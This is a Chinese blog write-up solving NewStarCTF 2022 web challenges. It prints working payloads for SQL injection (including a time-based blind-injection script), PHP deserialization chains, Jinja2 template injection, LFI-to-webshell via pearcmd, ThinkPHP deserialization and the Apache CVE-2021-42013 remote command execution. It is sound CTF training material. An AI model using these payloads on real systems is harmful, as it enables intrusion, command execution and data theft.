NewStarCTF 公开赛赛道

已于 2022-10-20 16:41:29 修改
阅读量2k 收藏 3
点赞数 1
分类专栏： BUUCTF 文章标签： web安全
于 2022-10-06 09:54:21 首次发布
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/shinygod/article/details/126941167
版权

HTTP

跟着提示一步一步走。
在这里插入图片描述

Head?Header!

同样是跟着提示。
在这里插入图片描述

NotPHP

<?php
error_reporting(0);
highlight_file(__FILE__);
if(file_get_contents($_GET['data']) == "Welcome to CTF"){
    if(md5($_GET['key1']) === md5($_GET['key2']) && $_GET['key1'] !== $_GET['key2']){
        if(!is_numeric($_POST['num']) && intval($_POST['num']) == 2077){
            echo "Hack Me";
            eval("#".$_GET['cmd']);
        }else{
            die("Number error!");
        }
    }else{
        die("Wrong Key!");
    }
}else{
    die("Pass it!");
}

在这里插入图片描述

我真的会谢

robots.txt
在这里插入图片描述
在主页源码中已经提示vim出错，所以在.index.php.swp
在这里插入图片描述
最后一个在www.zip中
在这里插入图片描述

Word-For-You

' or '1'='1
在这里插入图片描述

Word-For-You(2 Gen)

测试后发现会报错，尝试报错注入成功。

爆库information_schema,mysql,performance_schema,wfy：
name='and+updatexml(1,substr(concat(0x7e,(select(group_concat(schema_name))from(information_schema.schemata)),0x7e),40,20),1)#


爆表wfy_admin,wfy_comments,wfy_info:
name='and+updatexml(1,concat(0x7e,(select(group_concat(table_name))from(information_schema.tables)where(table_schema="wfy")),0x7e),1)#


爆列：wfy_comments列：id,text,user,name,display
name='and+updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name="wfy_comments")),0x7e),1)#

flag:
name=1'or+updatexml(1,substr(concat(0x7e,(select group_concat(text)from(wfy.wfy_comments)),0x7e),150,30),1)#
name=1'or+updatexml(1,substr(concat(0x7e,(select group_concat(text)from(wfy.wfy_comments)),0x7e),160,30),1)#

IncludeOne

在这里插入图片描述

<?php
mt_srand(1145146);
mt_rand();
echo mt_rand();

//?file=php://filter/NewStar/read=string.rot13/resource=flag.php
//guess=1202031004

UnserializeOne

链子很好构造，没啥可说的：

Start:__destruct => Sec:__toString => Easy:__call => eeee：__clone => Start:__isset => sec:__invoke

<?php
error_reporting(0);
highlight_file(__FILE__);
#Something useful for you : https://zhuanlan.zhihu.com/p/377676274
class Start{
    public $name;
    protected $func;

    public function __destruct()
    {
        echo "Welcome to NewStarCTF, ".$this->name;
    }

    public function __isset($var) 
    {
        ($this->func)();
    }
}

class Sec{
    private $obj;
    private $var;

    public function __toString()
    {
        $this->obj->check($this->var);
        return "CTFers";
    }

    public function __invoke() //尝试以调用函数的方式调用一个对象
    {
        echo file_get_contents('/flag');
    }
}

class Easy{
    public $cla;

    public function __call($fun, $var)  //调用一个对象中不存在的方法
    {
        $this->cla = clone $var[0];
    }
}

class eeee{
    public $obj;

    public function __clone()
    {
        if(isset($this->obj->cmd)){
            echo "success";
        }
    }
}

if(isset($_POST['pop'])){
    unserialize($_POST['pop']);
}

payload：

<?php
highlight_file(__FILE__);
class Start{
    public $name;
    public $func;
}

class Sec{
    public $obj;
    public $var;
}

class Easy{
    public $cla;
}

class eeee{
    public $obj;
}

$start=new Start();
$sec=new Sec();
$easy=new Easy();
$sec->obj=$easy;
$eeee=new eeee();
$eeee->obj=$start;
$sec->var=$eeee;
$start->name=$sec;
$start->func=$sec;


echo urlencode(serialize($start));

ezAPI

知识点：graphQL的内省查询，和graphQL基本query构造

知识点

渗透测试之graphQL
30分钟理解GraphQL核心概念
当CTF遇上GraphQL的那些事

分析

先简单介绍一下什么是graphQL：

graphQL就像一个客户端和服务端一个桥梁，是一个API查询语言。

GraphQL的Type的可以分两种，一种叫做Scalar Type(标量类型)，另一种叫做Object Type(对象类型)，前者就像对象里的属性，后者就像一个数组，数组里可以有很多变量，也可以有数组，这样无限递归下去，例如：

下面是一个查询语句，articles 就像一个数组，id为属性，articles里又套了一个数组，那么我们从客户端把查询语句发过去，服务端怎么处理，这边就要提一个概念：Resolver（解析函数）。在graphQL种，Resolver和query是对应的，其他的都是一一对应的，比如，articles会被articles的Resolver获取并解析。

Query {
  articles {
       id
       author {
           name
       }
       comments {
      id
      desc
      author
    }
  }
}

这段是发送post请求，且里面有个类似api的调用的网址，告诉我们是graphql。
在这里插入图片描述
传两个参数，id必须为数字，data为json格式，传到send函数里，作为content，打包一下发到对应的接口。
在这里插入图片描述

下面可以用一个payload来查一下有哪些对象和字段：

{"query":"\n    query IntrospectionQuery {\r\n      __schema {\r\n        queryType { name }\r\n        mutationType { name }\r\n        subscriptionType { name }\r\n        types {\r\n          ...FullType\r\n        }\r\n        directives {\r\n          name\r\n          description\r\n          locations\r\n          args {\r\n            ...InputValue\r\n          }\r\n        }\r\n      }\r\n    }\r\n\r\n    fragment FullType on __Type {\r\n      kind\r\n      name\r\n      description\r\n      fields(includeDeprecated: true) {\r\n        name\r\n        description\r\n        args {\r\n          ...InputValue\r\n        }\r\n        type {\r\n          ...TypeRef\r\n        }\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      inputFields {\r\n        ...InputValue\r\n      }\r\n      interfaces {\r\n        ...TypeRef\r\n      }\r\n      enumValues(includeDeprecated: true) {\r\n        name\r\n        description\r\n        isDeprecated\r\n        deprecationReason\r\n      }\r\n      possibleTypes {\r\n        ...TypeRef\r\n      }\r\n    }\r\n\r\n    fragment InputValue on __InputValue {\r\n      name\r\n      description\r\n      type { ...TypeRef }\r\n      defaultValue\r\n    }\r\n\r\n    fragment TypeRef on __Type {\r\n      kind\r\n      name\r\n      ofType {\r\n        kind\r\n        name\r\n        ofType {\r\n          kind\r\n          name\r\n          ofType {\r\n            kind\r\n            name\r\n            ofType {\r\n              kind\r\n              name\r\n              ofType {\r\n                kind\r\n                name\r\n                ofType {\r\n                  kind\r\n                  name\r\n                  ofType {\r\n                    kind\r\n                    name\r\n                  }\r\n                }\r\n              }\r\n            }\r\n          }\r\n        }\r\n      }\r\n    }\r\n  ","variables":null}

知道了名字
在这里插入图片描述

{"query":"query{\nffffllllaaagggg_1n_h3r3_flag{\nflag\n}\n}\n", "variables":null}

BabySSTI_One

过滤的不多，cat不能用可以用nl

?name={%print lipsum.__globals__.__builtins__.__import__('os').popen('nl /f*').read()%}

multiSQL

fuzz一下，没被过滤的：

length 
Length
+
handler
like
LiKe
sleep
SLEEp
database
DATABASe
delete
having
or
oR
as
As
-~
BENCHMARK
limit
LimIt
left
Left
right
#
--+
INFORMATION
--
;
!
%
+
xor
<>
(
>
<
)
.
^
=
AND
ANd
BY
By
CAST
COLUMN
COlumn
COUNT
Count
CREATE
END
case
'1'='1
when
admin'
"
length 
+
REVERSE
 
ascii
ASSIC
ASSic
database
left
right
"
&
&&
||
oorr
/
//
//*
*/*
/**/
anandd
GROUP
HAVING
IF
INTO
JOIN
LEAVE
LEFT
LEVEL
sleep
LIKE
NAMES
NEXT
NULL
OF
ON
|
infromation_schema
user
OR
ORDER
ORD
SCHEMA
SET
TABLE
THEN
USER
USING
VALUE
VALUES
WHEN
WHERE
ADD
AND
prepare
set
delete
drop
inset
CAST
COLUMN
CONCAT
GROUP_CONCAT
group_concat
CREATE
DATABASE
DATABASES
alter
DELETE
DROP
floor
rand()
information_schema.tables
TABLE_SCHEMA
%df
concat_ws()
concat
LIMIT
ORD
ON
extractvalue
order 
CAST()
by
ORDER
OUTFILE
RENAME
REPLACE
SCHEMA
SET
SHOW
SQL
TABLE
THEN
TRUE
instr
benchmark
format
bin
substring
ord
 
VALUES
VARCHAR
VERSION
WHEN
WHERE
/*
`
  
,
users
%0a
%0A
%0b
mid
for
BEFORE
REGEXP
RLIKE
in
sys schemma
SEPARATOR
XOR
CURSOR
FLOOR
sys.schema_table_statistics_with_buffer
INFILE
count
%0c
from
%0d
%a0
=
@
else
%27
%23
%22
%20

过滤了select可以使用预查询
想了解的可看以前的一道题：https://blog.csdn.net/shinygod/article/details/126909360

username=admin';set @a = 0x7570646174652073636f726520736574206c697374656e203d2031353020776865726520757365726e616d65203d2027e781abe58d8e273b;prepare smtm_test from @a;execute smtm_test;#

IncludeTwo

用burpsuit 传，用hackbar 传会有错。
想详细了解的，可以看：p神的

GET: /index.php?+config-create+/&file=/usr/local/lib/php/pearcmd&/<?=eval($_POST[1])?>+/tmp/hello.php
#在hello.php文件中RCE
GET: /index.php?&file=/tmp/hello
POST: 1=system('cat /f*');

在这里插入图片描述
在这里插入图片描述

Maybe You Have To think More

根据报错页面我们可以看到ThinkPHP 的版本是 5.1.x 系列的，那么这个系列是有反序列化漏洞的，原理这边就不多赘述，想详细了解的可以看一下我专门写的一篇文章:Thinkphp5.1.x反序列化漏洞复现
在这里插入图片描述
payload:

cookie:
TzoyNzoidGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzIjoxOntzOjM0OiIAdGhpbmtccHJvY2Vzc1xwaXBlc1xXaW5kb3dzAGZpbGVzIjthOjE6e2k6MDtPOjE3OiJ0aGlua1xtb2RlbFxQaXZvdCI6Mjp7czo5OiIAKgBhcHBlbmQiO2E6MTp7czo1OiJzaGVsbCI7YToxOntpOjA7czo0OiJjYWxsIjt9fXM6MTc6IgB0aGlua1xNb2RlbABkYXRhIjthOjE6e3M6NToic2hlbGwiO086MTM6InRoaW5rXFJlcXVlc3QiOjM6e3M6NzoiACoAaG9vayI7YToxOntzOjc6InZpc2libGUiO2E6Mjp7aTowO3I6ODtpOjE7czo2OiJpc0FqYXgiO319czo5OiIAKgBmaWx0ZXIiO3M6Njoic3lzdGVtIjtzOjk6IgAqAGNvbmZpZyI7YToxOntzOjg6InZhcl9hamF4IjtzOjA6IiI7fX19fX19

get:
?a=env

Give me your photo PLZ

利用 .htaccess 文件解析
上传一个图片
在传一个 .htaccess

<FilesMatch "1.png">
SetHandler application/x-httpd-php
</FilesMatch>

Unsafe Apache

cve：https://vulhub.org/#/environments/httpd/CVE-2021-42013/

在这里插入图片描述
可以看到 web 服务器是apache 2.4.50，且这个版本是有可以直接rce的洞的 。

curl -v --data "echo;ls" 'http://node4.buuoj.cn:26509/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh'

BabySSTI_Three

unicode 编码绕过

/?name={{''['\u005f\u005f\u0063\u006c\u0061\u0073\u0073\u005f\u005f']['\u005f\u005f\u006d\u0072\u006f\u005f\u005f'][1]['\u005f\u005f\u0073\u0075\u0062\u0063\u006c\u0061\u0073\u0073\u0065\u0073\u005f\u005f']()[117]['\u005f\u005f\u0069\u006e\u0069\u0074\u005f\u005f']['\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f']['\u0070\u006f\u0070\u0065\u006e']('\u0063\u0061\u0074\u0020\u002f\u0066\u006c\u0061\u0067\u005f\u0069\u006e\u005f\u0068\u0033\u0072\u0033\u005f\u0035\u0032\u0064\u0061\u0061\u0064').read()}}

Final round

先fuzz 一下，过滤的不多。

Length
+
handler
like
LiKe
select
sleep
SLEEp
database
DATABASe
delete
having
or
oR
as
As
-~
BENCHMARK
limit
LimIt
left
Left
select
SELECT
insert
insERT
INSERT
right
--+
INFORMATION
--
;
!
%
+
xor
<>
(
>
<
)
.
^
=
AND
ANd
BY
By
CAST
COLUMN
COlumn
COUNT
Count
CREATE
END
case
'1'='1
when
admin'
"
+
REVERSE
ascii
ASSIC
ASSic
database
left
right
union
UNIon
UNION
"
&
&&
||
oorr
anandd
GROUP
HAVING
IF
INTO
JOIN
LEAVE
LEFT
LEVEL
sleep
LIKE
NAMES
NEXT
NULL
OF
ON
|
infromation_schema
user
OR
ORDER
ORD
SCHEMA
SELECT
SET
TABLE
THEN
UNION
UPDATE
USER
USING
VALUE
VALUES
WHEN
WHERE
ADD
AND
prepare
set
update
delete
drop
inset
CAST
COLUMN
CONCAT
GROUP_CONCAT
group_concat
CREATE
DATABASE
DATABASES
alter
DELETE
DROP
floor
rand()
information_schema.tables
TABLE_SCHEMA
%df
concat_ws()
concat
LIMIT
ORD
ON
extractvalue
CAST()
by
ORDER
OUTFILE
RENAME
REPLACE
SCHEMA
SELECT
SET
updatexml
SHOW
SQL
TABLE
THEN
TRUE
instr
benchmark
format
bin
substring
ord
UPDATE
VALUES
VARCHAR
VERSION
WHEN
WHERE
`
,
users
%0a
%0A
%0b
mid
for
BEFORE
REGEXP
RLIKE
in
SEPARATOR
XOR
CURSOR
FLOOR
sys.schema_table_statistics_with_buffer
INFILE
count
%0c
from
%0d
%a0
=
@
else
%27
%23
%22
%20

时间盲注

import requests
import time

url = "http://19a9478f-cf03-43c6-ab24-4af233a41576.node4.buuoj.cn:81/comments.php"

name = ""
i = 0
while True:
    head = 32
    tail = 127
    i += 1
    while (head < tail):
        time.sleep(0.1)
        mid = head + tail >> 1
        payload = '100&&if(ascii(mid((select(group_concat(text))from(wfy.wfy_comments)where(id=100)),%d,1))>%d,sleep(2),0)' % (i, mid)
        data = {
            'name':payload,
        }
        time1 = time.time()
        r = requests.post(url=url,data=data)
        time2 = time.time()
        if (time2-time1) > 2:
            head = mid + 1
        else:
            tail = mid
    if head != 32:
        name += chr(head)
        print(ascii(name))
    else:
        continue
[NewStarCTF 公开赛赛道]Baby_Re WP
xbean1028的博客
02-06 328
其实挺简单一个题，因为没搜到题解，索性就写一个，不难，还挺有意思的，记录思路。FunctionName这个函数把原始数组改了四个值。根据main函数，显然就是数组异或就出结果。，看提示和这个显示，应该还有信息。没有壳，直接IDA打开看。写个脚本soeasy。改过来，出结果，OK。
NewStarCTF 2023 公开赛道 Week1，数据结构与算法面试题
04-08 855
刚开始以为是摩斯密码，看了B神博客才知道：WhiteSpace，是一种只用空白字符（空格，TAB和回车）编程的语言，而其它可见字符统统为注释。把空白字符复制进去网站，点击run即可。
【buuctf】 NewStarCTF 公开赛赛道 web：Word-For-You、NotPHP
weixin_46497491的博客
09-22 2243
【buuctf】 NewStarCTF 公开赛赛道 web：Word-For-You、NotPHP
【buuctf】 NewStarCTF 公开赛赛道 web：HTTP、Head?Header!、我真的会谢
weixin_46497491的博客
09-20 2760
NewStarCTF 公开赛赛道 web：HTTP、Head?Header!、我真的会谢
2024-NewStarCTF-WEEK1
最新发布
2301_80185313的博客
10-10 1298
2024-NewStarCTF-WEEK1 wp
NewStarCTF 公开赛赛道week2 web writeup
your_friends的博客
10-02 830
利用mt_srand是伪随机数用它给出的Hint到php_mt_seed里面直接跑。如果我们post提交了一个data那么他就不会执行后面的文件从而执行我们自己的输入。由Easy::__call方法进入eeee::__clone。进入__invoke需要调用到Start::__isset。上周做题被这道sql注入整感动了，这次增加难度又来了。由Sec::__tostring进入__call方法。最终调用点在Sec::__invoke。发现我们直接在页面查询是输入了一个id。虽然加了点难度，但是还是挺简单。
NewStarCTF 公开赛赛道week3 web writeup
your_friends的博客
10-10 1515
里面完全的没有验证，而且应该是一个简单的判断，判断成绩是否达到了425分，那么应该是使用update更新数据库信息，让火华师傅的成绩大于425即可。这里提供两种方法，一种是用replace into替换掉update，也可以使用预编译的方式。但是点击没用查询火华的成绩时候，出现两个火华，应该是多了直接删除即可。接着直接访问文件就能RCE（用bp发包，否则这里的符号会被编码）而刚进入的页面是有一个可点击的页面进去看下verify.php。题目名字可以看出来，多SQL，堆叠注入。直接拉网上的exp打。
CTF之旅WEB篇(4)--NewStarCTF 公开赛IncludeOne详解
shutTD的博客
10-02 983
主要还是考察对新东西的快速理解，还有一些其他的绕过技巧，平时要养成边刷题边把题目里的一些技巧记录下来的好习惯，这样在其他的题目里的绕过才会更得心应手。
NewStarCTF 2023 公开赛道 Week1(1)，View的这些基础知识你必须要知道
04-08 856
c = pow(m,e,n) print(n) print©使用风二西（风大）的轩禹RSA工具分解模数N，然后计算私钥，计算明文，明文转字符即可获得flag from secret import flag from Crypto.Util.number import *p = getPrime(1024) q = getPrime(1024)d = getPrime(32) e = inverse(d, (p-1)*(q-1)) n = p*q m = bytes_to_long(flag)c = po
华为中国大学生ICT大赛-网络技术赛道-WLAN知识资料
09-22
《华为中国大学生ICT大赛-网络技术赛道-WLAN知识资料》 在当今信息化社会，无线局域网（WLAN）已经成为我们日常生活和工作中不可或缺的一部分。华为作为全球领先的ICT解决方案提供商，其主办的“华为中国大学生ICT...
NewStarCTF 2023 第一阶段公开赛道部分wp
10-02
这是官方的wp文件，需要的可以下载查看
NewStarCTF 2022 公开赛赛道-WEEK1|REVERSE
qq_61774705的博客
10-07 2529
合起来就是：.flag{h3llo_rvers1ng_w0rld}加密思路就是：先把输入先base64编码->再异或字符串。解密思路就是：异或字符串->base64解码。
BUUCTF NewStarCTF 公开赛赛道Week1 Writeup
末初的CSDN博客
10-03 1760
BUUCTF NewStarCTF 公开赛赛道Week1 Writeup
NewStarCTF 公开赛-web
qq_61768489的博客
11-22 2506
cookie 修改admin 源码发现key GET和POST传参即可。
NewStarCTF 2023 Week1 web官方wp
m0_63641882的博客
10-04 766
进入题目首先要求以GET方式传参：http://ec7fe482-428e-4978-8b2c-4016472b07a7.node4.buuoj.cn:81/index.php?ctf=ok接着要求以POST方式传递secret参数，并且secret参数的值是固定的： 右键查看页面源代码可以看到base64编码后的secret值： base64解码得到 使用HackBar发送secret： 添加X-Real-IP头，
# NewStarCTF 公开赛赛道 WEEK4
as you know, nlp is fantasitc!
10-17 1283
payload注意用url编码将base64编码后的特殊字符编码。文件上传+phar反序列化。生成下payload就能打。简单的反序列化题，用。
BUUCTF NewStarCTF 公开赛赛道Week4 Writeup
末初的CSDN博客
10-16 3840
BUUCTF NewStarCTF 公开赛赛道Week4 Writeup
SELECT b.ID, b.audit_code, b.project_id, b.flow_end_date businessClosedDate, P.outterbalance_money, P.project_code, P.project_name, 'ZC' closeTypeCode, b.flow_status FROM pms_pm_project_business_close b LEFT JOIN pms_pm_prj_base P ON P.ID = b.project_id LEFT JOIN pms_CONTRACT_PORJECT_RELATION C ON P.ID = C.eps_id AND C.status = 0 WHERE b.status = 0 AND P.status = 0 AND C.contract_id ='CA0B8794AD700001B77A87201855D970' UNION SELECT b.ID, b.audit_code, b.project_id, b.business_close_date businessClosedDate, P.outterbalance_money, P.project_code, P.project_name, 'YC' closeTypeCode, CASE WHEN b.flow_status = 2 THEN '流程结束' WHEN b.flow_status = 1 THEN '审批中' ELSE'拟稿' END flow_status FROM pms_pm_project_unusual_close b LEFT JOIN pms_pm_prj_base P ON P.ID = b.project_id LEFT JOIN pms_CONTRACT_PORJECT_RELATION C ON P.ID = C.eps_id AND C.status = 0 WHERE b.status = 0 AND b.IS_BUSINESS_CLOSE_CODE = '1' AND P.status = 0 AND C.contract_id ='CA0B8794AD700001B77A87201855D970' 解决这段sql的问题 UNION types numeric and text cannot be matched
07-13
这个错误通常是由于两个 SELECT 语句的列数据类型不匹配导致的。在 UNION 操作中，两个 SELECT 语句的列列表必须具有相同的数据类型或可以进行隐式转换。 根据您提供的 SQL 查询语句，我注意到在第一个 SELECT 子句中，'ZC' 被用作 closeTypeCode 的值。而在第二个 SELECT 子句中，使用了一个 CASE 表达式来确定 flow_status 的值。 请确保 closeTypeCode 和 flow_status 的数据类型相匹配，以便在 UNION 操作中正确匹配列。如果 closeTypeCode 的数据类型为文本类型（varchar、text），您可以将 flow_status 的值转换为文本类型，例如将数字 2 转换为字符串 '2'。 例如，您可以尝试修改第二个 SELECT 子句的 CASE 表达式如下： ```sql CASE WHEN b.flow_status = 2 THEN '流程结束' WHEN b.flow_status = 1 THEN '审批中' ELSE '拟稿' END AS flow_status ``` 通过添加 `AS flow_status`，确保 flow_status 是一个别名，并且与第一个 SELECT 子句中的列名相匹配。 请尝试修改查询并检查列数据类型是否匹配，这样就可以解决 UNION types numeric and text cannot be matched 的问题。如果您有其他问题，请随时提问！
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值